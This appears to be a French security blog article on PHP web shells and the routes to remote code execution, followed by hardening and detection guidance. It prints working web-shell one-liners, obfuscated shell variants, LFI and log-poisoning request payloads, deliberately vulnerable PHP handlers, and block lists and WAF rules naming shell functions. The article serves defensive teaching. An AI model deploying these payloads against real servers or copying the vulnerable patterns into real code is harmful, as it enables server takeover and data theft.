Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Retour au blog
Sécurité Web 2026-05-07 ⏱ 12 min

PHP2Shell : Exécution de Code à Distance via les Web Shells et les Techniques d'Injection PHP

PHP alimente une part considérable du web — WordPress, Drupal, Laravel et d'innombrables applications sur mesure en dépendent tous. Cette omniprésence fait de PHP une cible de grande valeur. Le terme PHP2Shell décrit l'objectif de l'attaquant dans sa forme la plus directe : exploiter n'importe quelle faiblesse d'une application PHP pour obtenir un shell de commande sur le serveur sous-jacent. Une fois qu'un attaquant dispose d'un web shell, il bénéficie d'une exécution de commandes persistante et accessible via navigateur — la partie est terminée pour l'application, et souvent pour l'ensemble de l'hôte.

Cet article décompose chaque chemin d'exploitation majeur menant d'une vulnérabilité PHP à un shell interactif : téléchargements de fichiers sans restriction, injection eval(), wrappers de flux PHP, chaînes d'inclusion de fichiers locaux (LFI), et CVEs réels. Nous terminons par une liste de mesures de durcissement concrètes et une stratégie de détection.

Le Modèle de Menace

Un web shell est un script — généralement un fichier PHP unique — téléchargé vers ou injecté dans un chemin accessible via le web. Une fois en place, un attaquant visite l'URL et passe des commandes OS via un paramètre GET ou POST. Le compte utilisateur du serveur web (www-data, apache, nginx) exécute ces commandes. L'attaquant peut alors :

  • Lire des fichiers sensibles (/etc/passwd, configuration de l'application, .env, identifiants de base de données)
  • Pivoter vers la base de données ou le réseau interne
  • Télécharger des outils supplémentaires (binaires de reverse shell, exploits d'élévation de privilèges)
  • Établir une persistance via des tâches cron ou l'injection de clés SSH
  • Exfiltrer des données ou déployer des ransomwares

Le web shell minimal qui accomplit cela tient en une seule ligne :

<?php system($_GET['cmd']); ?>

Accéder à https://cible.com/uploads/shell.php?cmd=id retourne uid=33(www-data). À partir de là, les attaquants escaladent leurs privilèges. Comprendre chaque chemin menant à ce point est le fondement de la sécurité des applications PHP.

Vecteur d'Attaque 1 : Téléchargement de Fichiers Sans Restriction

La fonctionnalité de téléchargement de fichiers est l'une des fonctionnalités les plus dangereuses qu'une application PHP puisse exposer. Lorsque les développeurs valident incorrectement les téléchargements, les attaquants peuvent uploader un fichier .php déguisé en document ou image légitime.

Le Gestionnaire de Téléchargement Vulnérable

Le schéma suivant apparaît fréquemment dans les bases de code héritées et dans les tutoriels. Il ne vérifie que l'extension du fichier — un contrôle trivialement contournable :

<?php
// VULNÉRABLE - vérifie uniquement l'extension, pas le contenu
$allowed = ['jpg', 'png', 'gif'];
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($ext, $allowed)) {
    move_uploaded_file(
        $_FILES['file']['tmp_name'],
        'uploads/' . $_FILES['file']['name']
    );
    echo "Téléchargement réussi";
} else {
    echo "Type de fichier non autorisé";
}
?>

Cette vérification est contournée par plusieurs techniques :

  • Double extension : Nommer le fichier shell.php.jpg. Sur des serveurs Apache mal configurés avec AddHandler application/x-httpd-php .php ou des directives AddType correspondant à n'importe quel segment, le serveur peut exécuter ce fichier en tant que PHP.
  • Usurpation du Content-Type : Des outils comme Burp Suite permettent d'intercepter la requête POST multipart et de changer Content-Type: application/octet-stream en Content-Type: image/jpeg. Les serveurs qui valident $_FILES['file']['type'] au lieu du contenu réel sont immédiatement trompés, car ce champ est entièrement contrôlé par l'attaquant.
  • Injection d'octet nul (PHP < 5.3.4 héritages) : Envoyer shell.php%00.jpg provoquait dans l'ancienne gestion des chaînes C de PHP une troncature au niveau de l'octet nul, stockant le fichier sous shell.php tandis que la vérification d'extension voyait .jpg.
  • Fichiers polyglots : Un fichier JPEG avec un en-tête d'image valide suivi d'une charge PHP dans son commentaire EXIF ou dans un bloc IDAT. Le fichier passe les vérifications getimagesize() car l'en-tête d'image est authentique. Si le serveur le stocke puis l'inclut avec include(), le parseur PHP exécute uniquement le bloc <?php ... ?> incorporé à l'intérieur.

Override .htaccess Apache

Si le répertoire de téléchargement autorise les fichiers .htaccess et que la configuration Apache n'a pas défini AllowOverride None, un attaquant peut uploader un .htaccess personnalisé contenant :

AddType application/x-httpd-php .jpg

Désormais, chaque .jpg dans ce répertoire s'exécute en tant que PHP. L'attaquant uploade ensuite un web shell PHP nommé image.jpg et obtient l'exécution de code à distance.

Vecteur d'Attaque 2 : Injection de Code via eval() et Fonctions Variables

La fonction eval() de PHP exécute une chaîne de caractères comme du code PHP au moment de l'exécution. Les applications qui passent des entrées utilisateur dans eval() — directement ou après une faible assainissement — donnent à l'attaquant un interpréteur PHP entièrement interactif.

<?php
// CRITIQUE - exécute du code PHP arbitraire fourni par l'utilisateur
eval($_POST['code']);
?>

Plus couramment, les développeurs utilisent eval() pour les moteurs de templates ou la configuration dynamique et omettent d'assainir les entrées :

<?php
$template = $_GET['tpl'];
// Prévu pour des variables de template sûres, mais :
eval('echo "' . $template . '";');
?>

Un attaquant soumet tpl=<?php system('id'); ?> ou utilise des séquences d'échappement comme {${eval($_GET[c])}} pour forcer l'exécution.

Fonctions Variables et Dispatch Dynamique

PHP permet d'appeler des fonctions via des variables, créant une surface d'injection subtile :

<?php
// L'attaquant contrôle $func et $arg
$func = $_GET['f'];   // ex. "system"
$arg  = $_GET['c'];   // ex. "id"
$func($arg);           // Exécute system("id")
?>

Même sans eval(), ce schéma fournit un RCE complet si le nom de la fonction est contrôlé par l'utilisateur. Les variations utilisent call_user_func(), call_user_func_array(), ou la syntaxe de variable variable $$variable de PHP pour obtenir le même résultat.

Charges Utiles de Web Shell Obfusquées

Les attaquants sophistiqués obfusquent les web shells pour échapper à la détection basée sur les signatures :

<?php
// Appel system() encodé en Base64
$a = base64_decode('c3lzdGVt');  // décode en "system"
$a($_POST['c']);
?>

<?php
// Inversion de chaîne
$f = strrev('metsys');  // "system"
$f($_GET['cmd']);
?>

<?php
// Encodage chr()
$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$f($_REQUEST['x']);
?>

Ces techniques contournent les règles WAF naïves basées sur des correspondances de patterns qui ne recherchent que la chaîne littérale system(. L'analyse moderne nécessite un parsing PHP au niveau AST ou une exécution en bac à sable.

Vecteur d'Attaque 3 : Wrappers PHP et LFI vers RCE

Le système de wrappers de flux de PHP est une abstraction puissante pour les E/S de fichiers. Les attaquants l'exploitent pour transformer les vulnérabilités d'inclusion de fichiers locaux (LFI) en exécution de code à distance complète.

Le Schéma d'Inclusion Vulnérable

<?php
// LFI vulnérable
$page = $_GET['page'];
include($page . '.php');
?>

php://input

Le wrapper php://input lit les données brutes du corps POST. Lorsque l'inclusion vulnérable accepte ce wrapper :

POST /index.php?page=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

<?php system($_GET['cmd']); ?>

PHP lit le corps POST et l'exécute comme du code PHP, délivrant un RCE sans écrire aucun fichier sur le disque. Cela nécessite allow_url_include = On dans php.ini (désactivé par défaut dans les versions modernes de PHP, mais présent dans de nombreuses configurations héritées).

php://filter — Divulgation du Code Source

Même sans exécution de code, php://filter permet de lire les fichiers source PHP :

GET /index.php?page=php://filter/convert.base64-encode/resource=config HTTP/1.1

La réponse contient le source encodé en base64 de config.php, exposant les identifiants de base de données, les clés API et la logique de l'application. Les attaquants utilisent ensuite ces identifiants pour pivoter davantage.

Wrapper data://

Le wrapper data:// inclut des données en ligne comme un flux. Avec allow_url_include = On :

GET /index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ HTTP/1.1

La charge en base64 se décode en <?php system($_GET['cmd']); ?>, que PHP exécute directement.

LFI vers RCE via Empoisonnement des Logs

Lorsque data:// et php://input sont bloqués, les attaquants enchaînent LFI avec l'empoisonnement des journaux :

  1. Empoisonner le log : Envoyer une requête HTTP avec une charge PHP dans l'en-tête User-Agent :
    GET / HTTP/1.1
    User-Agent: <?php system($_GET['cmd']); ?>
    Apache journalise cela verbatim dans /var/log/apache2/access.log.
  2. Inclure le fichier log :
    GET /index.php?page=../../../var/log/apache2/access.log&cmd=id HTTP/1.1
    PHP inclut le fichier log et exécute chaque balise PHP qu'il rencontre — y compris le User-Agent empoisonné.

La même technique fonctionne avec /proc/self/environ, les logs d'authentification SSH et les fichiers de session PHP — tout fichier dans lequel l'attaquant peut écrire et que le processus web peut lire.

CVEs Notables : Vulnérabilités PHP RCE dans le Monde Réel

CVE-2019-11043 a été évalué CVSS 9.8 (Critique). Une seule URL malformée suffisait à obtenir une exécution de code à distance non authentifiée sur tout serveur exécutant PHP-FPM derrière nginx avec une configuration vulnérable — sans authentification, sans téléchargement de fichier, sans interaction utilisateur.

CVE-2019-11043 : PHP-FPM nginx RCE

Découverte par Emil Lerner et exploitée publiquement à Pwn2Own, cette vulnérabilité affectait PHP-FPM dans les versions suivantes : PHP 7.1.x avant 7.1.33, 7.2.x avant 7.2.24 et 7.3.x avant 7.3.11.

La cause racine : lorsque nginx était configuré pour transmettre certains schémas d'URL à PHP-FPM et qu'une URL de requête contenait un composant de chemin se terminant par un saut de ligne ou une séquence de caractères spéciaux (par exemple %0a), PHP-FPM analysait incorrectement la variable d'environnement PATH_INFO. Cela permettait à un attaquant d'injecter des variables d'environnement FastCGI arbitraires — y compris PHP_VALUE — et de définir des directives comme auto_prepend_file pointant vers un script distant, ou de surcharger extension pour forcer l'exécution de fichiers non-PHP.

Un bloc de configuration nginx vulnérable ressemblait à :

location ~ [^/]\.php(/|$) {
    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
    fastcgi_pass unix:/run/php/php7.3-fpm.sock;
    fastcgi_param PATH_INFO $fastcgi_path_info;
    include fastcgi_params;
}

Le correctif : mettre à jour PHP-FPM et ajouter fastcgi_param PATH_INFO ""; comme mesure préventive, ou restreindre l'expression régulière afin que le segment path-info ne puisse pas être injecté.

CVE-2012-1823 : Injection d'Argument PHP CGI

Cette vulnérabilité critique affectait PHP avant 5.3.12 et PHP 5.4.x avant 5.4.2 lorsque PHP était déployé comme binaire CGI. La faille résidait dans la façon dont le binaire CGI de PHP analysait la chaîne de requête.

Lorsqu'une chaîne de requête commençait par des caractères ressemblant à des indicateurs de ligne de commande (spécifiquement lorsqu'il n'y avait pas de signe =), le gestionnaire CGI de PHP transmettait la chaîne de requête directement à l'interpréteur PHP en tant qu'arguments de ligne de commande. Un attaquant pouvait envoyer :

GET /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1

[Corps POST]
<?php system('id'); ?>

Cela injectait -d allow_url_include=1 -d auto_prepend_file=php://input comme indicateurs de l'interpréteur PHP, amenant PHP à charger le corps POST comme un fichier prépendé et à l'exécuter. La vulnérabilité a été activement exploitée dans la nature dans les jours suivant sa divulgation, et des installations plus anciennes restent non corrigées encore aujourd'hui.

Durcissement Défensif : Configuration PHP et Contrôles Serveur

La défense en profondeur nécessite de verrouiller à la fois le runtime PHP et l'environnement d'exploitation. Commencez par php.ini :

; Durcissement php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,\
                    curl_exec,curl_multi_exec,parse_ini_file,show_source,\
                    pcntl_exec,pcntl_fork,dl

open_basedir        = /var/www/html:/tmp

allow_url_include   = Off
allow_url_fopen     = Off
expose_php          = Off
display_errors      = Off
log_errors          = On
error_log           = /var/log/php_errors.log

session.cookie_httponly = 1
session.cookie_secure   = 1
session.use_strict_mode = 1

Comprendre disable_functions

disable_functions empêche le code PHP d'appeler les fonctions listées, même si un web shell est téléchargé avec succès. Notez que ce n'est pas une solution miracle : les extensions PHP chargées via dl(), les techniques utilisant l'injection /proc/self/mem, ou les astuces LD_PRELOAD via mail() ont historiquement contourné cette mesure. Ajouter dl et pcntl_exec à la liste et passer à un environnement isolé par processus (conteneurs, profils seccomp) ferme la plupart des lacunes.

open_basedir

open_basedir restreint les opérations sur fichiers PHP aux répertoires nommés. Un web shell fonctionnant sous cette restriction ne peut pas lire /etc/passwd ni traverser en dehors de /var/www/html. Combiné avec l'exécution du processus web en tant qu'utilisateur non privilégié avec des autorisations minimales sur le système de fichiers, le mouvement latéral est significativement contraint.

Implémentation Sécurisée du Téléchargement de Fichiers

Un gestionnaire de téléchargement robuste doit faire tout ce qui suit :

  1. Valider les octets magiques, pas seulement l'extension : Utiliser finfo_file() de PHP pour vérifier la signature réelle du fichier.
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime  = finfo_file($finfo, $_FILES['file']['tmp_name']);
    finfo_close($finfo);
    $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($mime, $allowed_mimes)) {
        die('Type de fichier invalide');
    }
  2. Renommer le fichier lors du stockage : Remplacer le nom de fichier original par un UUID ou un hash. Ne jamais utiliser $_FILES['file']['name'] comme nom de fichier stocké.
    $stored_name = bin2hex(random_bytes(16)) . '.jpg';
    move_uploaded_file($_FILES['file']['tmp_name'], '/var/uploads/' . $stored_name);
  3. Stocker les téléchargements en dehors de la racine web : Les fichiers dans /var/uploads/ ne peuvent pas être directement demandés via HTTP. Les servir via un script PHP qui lit le fichier et émet l'en-tête Content-Type correct — ne jamais les exécuter.
  4. Désactiver l'exécution PHP dans les répertoires de téléchargement : Si les téléchargements doivent résider sous la racine web, ajouter un .htaccess (Apache) ou un bloc location (nginx) qui empêche l'exécution des scripts :
    # Apache - désactiver PHP dans uploads/
    <Directory /var/www/html/uploads>
        php_flag engine off
        Options -ExecCGI
        RemoveHandler .php .phtml .php3 .php4 .php5
    </Directory>
    
    # nginx - refuser l'exécution directe
    location /uploads/ {
        location ~ \.php$ { deny all; }
    }
  5. Limiter la taille et le nombre de fichiers pour prévenir l'épuisement des ressources et les attaques de type zip-bomb.

Règles WAF

Les règles de pare-feu d'application web (WAF) peuvent bloquer les schémas de téléchargement et d'exploitation de web shell les plus courants au niveau de la couche HTTP. ModSecurity avec le Core Rule Set (CRS) d'OWASP gère beaucoup de ces cas nativement. Règles personnalisées à ajouter :

# Extrait ModSecurity / NGINX WAF
# Bloquer les balises PHP dans les téléchargements multipart
SecRule FILES_TMPNAMES "@contains <?php" \
    "id:1001,phase:2,deny,status:403,msg:'Code PHP dans le téléchargement'"

# Bloquer les chaînes de fonctions shell courantes dans la chaîne de requête
SecRule ARGS "@rx (system|passthru|shell_exec|eval|base64_decode)\s*\(" \
    "id:1002,phase:2,deny,status:403,msg:'Tentative RCE dans le paramètre'"

# Bloquer les wrappers php:// dans les paramètres d'inclusion de fichiers
SecRule ARGS "@rx php://(input|filter|data)" \
    "id:1003,phase:2,deny,status:403,msg:'Wrapper PHP dans le paramètre'"

Détection et Surveillance

La prévention est idéale ; la détection est essentielle. Supposez une compromission et construisez une visibilité sur ce que fait le processus du serveur web.

Auditer les Processus Enfants Inhabituels

Un web shell PHP exécute des commandes OS en engendrant des processus enfants sous l'utilisateur du serveur web. Ces processus enfants sont hautement anormaux en production et faciles à détecter :

# Surveiller les processus engendrés par www-data en temps réel
watch -n 1 'ps -eo user,ppid,pid,cmd | grep www-data | grep -v php-fpm | grep -v grep'

# Règle auditd : alerter sur tout execve depuis l'utilisateur du processus web
auditctl -a always,exit -F arch=b64 -S execve -F uid=33 -k webshell_exec
# (uid 33 = www-data sur Debian/Ubuntu ; ajustez pour votre distro)

Ajoutez la règle correspondante dans /etc/audit/rules.d/webshell.rules pour la persistance. Examinez /var/log/audit/audit.log pour les entrées key=webshell_exec. Tout execve invoqué par www-data qui n'est pas un sous-processus d'application connu est suspect.

Surveillance de l'Intégrité des Fichiers sur les Répertoires de Téléchargement

Utilisez inotifywait ou une solution FIM dédiée pour alerter sur la création de nouveaux fichiers dans les chemins de téléchargement :

inotifywait -m -e create,modify /var/www/html/uploads/ \
    --format '%T %w %f %e' --timefmt '%Y-%m-%d %H:%M:%S' \
    | while read line; do
        echo "$line" >> /var/log/upload_monitor.log
        # Alerter si un nouveau fichier .php apparaît
        echo "$line" | grep -q '\.ph' && \
            echo "ALERTE: Fichier de type PHP dans uploads: $line" | \
            mail -s "Alerte Web Shell" [email protected]
    done

Indicateurs d'Analyse des Logs

Indicateurs clés de compromission à rechercher dans les logs d'accès web :

  • Requêtes POST vers des fichiers dans /uploads/ — les fichiers téléchargés ne devraient jamais recevoir de données POST
  • Requêtes GET avec des paramètres contenant cmd=, exec=, c= vers des endpoints non-API
  • Accès à php://, data:// dans les paramètres d'URL (encodés en URL : php%3A%2F%2F)
  • Réponses HTTP 200 vers des chemins se terminant par .php.jpg, .phtml, .php5
  • Pic soudain d'erreurs 500 depuis un chemin spécifique — peut indiquer des échecs d'exécution de shell lors de l'énumération
  • Requêtes contenant base64_decode, eval, system ou passthru dans les chaînes de requête

Protection Applicative Runtime (RASP)

Des solutions comme Sqreen, Tideways, ou les extensions PHP open-source telles que Snuffleupagus instrumentent le runtime PHP et peuvent bloquer les appels system() au niveau de la fonction, même si disable_functions est contourné via des astuces d'extension. Snuffleupagus va plus loin en fournissant la vérification de type pour les arguments de fonction et en bloquant la plupart des méthodes connues de contournement de disable_functions.

Conclusion

La chaîne d'attaque PHP2Shell n'est pas une vulnérabilité unique — c'est une classe de chemins d'exploitation qui arrivent tous à la même destination : un shell de commande persistent et accessible à distance sur votre serveur. Les téléchargements de fichiers sans restriction, les appels eval() non vérifiés, l'abus des wrappers PHP et les chaînes LFI sont individuellement dangereux ; combinés, ils créent un environnement riche en cibles que les attaquants énumèrent systématiquement.

Une défense efficace nécessite des couches : durcir php.ini, appliquer une validation stricte des téléchargements sur les octets magiques et pas seulement les extensions, stocker les téléchargements en dehors de la racine web, déployer des règles WAF et construire une détection runtime via auditd et la surveillance des processus. CVE-2019-11043 et CVE-2012-1823 ont démontré que même le runtime PHP lui-même peut être la vulnérabilité — la cadence de correctifs est aussi importante que les contrôles au niveau de l'application.

La surface d'attaque de votre application PHP s'étend du formulaire de téléchargement jusqu'au binaire de l'interpréteur. La traiter comme un périmètre unique plutôt qu'une défense en couches est la façon dont les organisations se retrouvent avec des web shells en production.

Besoin d'un Audit de Sécurité PHP ?

Contactez Cayvora pour une consultation gratuite et protégez vos applications PHP contre les attaques d'exécution de code à distance et de web shell.

✉️ Demander un Audit de Sécurité PHP

Articles Connexes